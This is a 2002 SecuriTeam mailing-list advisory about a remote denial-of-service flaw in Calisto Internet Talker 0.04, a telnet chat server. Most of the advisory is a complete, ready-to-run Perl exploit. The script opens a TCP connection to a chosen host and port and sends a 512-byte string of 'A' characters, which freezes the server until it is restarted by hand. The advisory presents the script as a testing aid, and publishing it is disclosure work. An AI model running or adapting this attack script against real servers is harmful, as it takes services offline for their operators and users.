[EXPL] Calisto Internet Talker DoS

From: support@securiteam.com
Date: 11/27/02

  • Next message: support@securiteam.com: "[EXPL] Oracle TNS SEH Exploit" 
    From: support@securiteam.com
To: list@securiteam.com
Date: 27 Nov 2002 01:35:21 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Calisto Internet Talker DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.arcsite.de/hp/flibble/calisto/> Calisto is an Internet
    Talker. It is a telnet server that allows many people to connect to it and
    talk to each other. It is written in C. Users of other talker code bases
    such as EW-too and Nuts should recognize the style of program. A
    vulnerability in the product allows remote attackers to cause it to crash,
    the following is an exploit code that can be used to test the program.

    DETAILS

    Vulnerable systems:
     * Calisto Internet Talker version 0.04

    Exploit:
    #!/usr/bin/perl
    #
    # S e c u r i t y F r e a k s
    # www.securityfreaks.com
    #
    # Calisto Internet Talker Version 0.04 Remote Denial of Service
    #
    #
    # This exploit will not cause Calisto to crash but rather cause it
    # to freeze until manually restarted. This actually works out better
    # because Calisto comes with an autorun script that would restart it
    # should it crash anyway.
    #
    # [ subversive[at]linuxmail.org ] - *31/10/2002*

    use IO::Socket;

    $data = "A";
    $size = "512";
    $freeze .= $data x $size;

    while($_ = $ARGV[0], /^-/) {
        shift;
        last if /^--$/;
        /^-h/ && do { $host = shift; };
        /^-p/ && do { $port = shift; };
    }

    if(!$host != 0) {

    print <<"ACTIONSSPEAKLOUDERTHANWORDS";
       
       SF-talkischeap.pl by subversive - www.securityfreaks.com
       Calisto Internet Talker Version 0.04 Remote Denial of Service
      

       Usage : $0 -h -p

    ACTIONSSPEAKLOUDERTHANWORDS
    exit;

    }

    my $sock = new IO::Socket::INET ( Proto => "tcp",
                                      PeerAddr => $host,
                                      PeerPort => $port,
                                    );
    die "\nCould not connect to $host : $!\n" unless $sock;

    print $sock "$freeze";
    close($sock);
    exit;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:subversive@linuxmail.org>
    subversiv.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.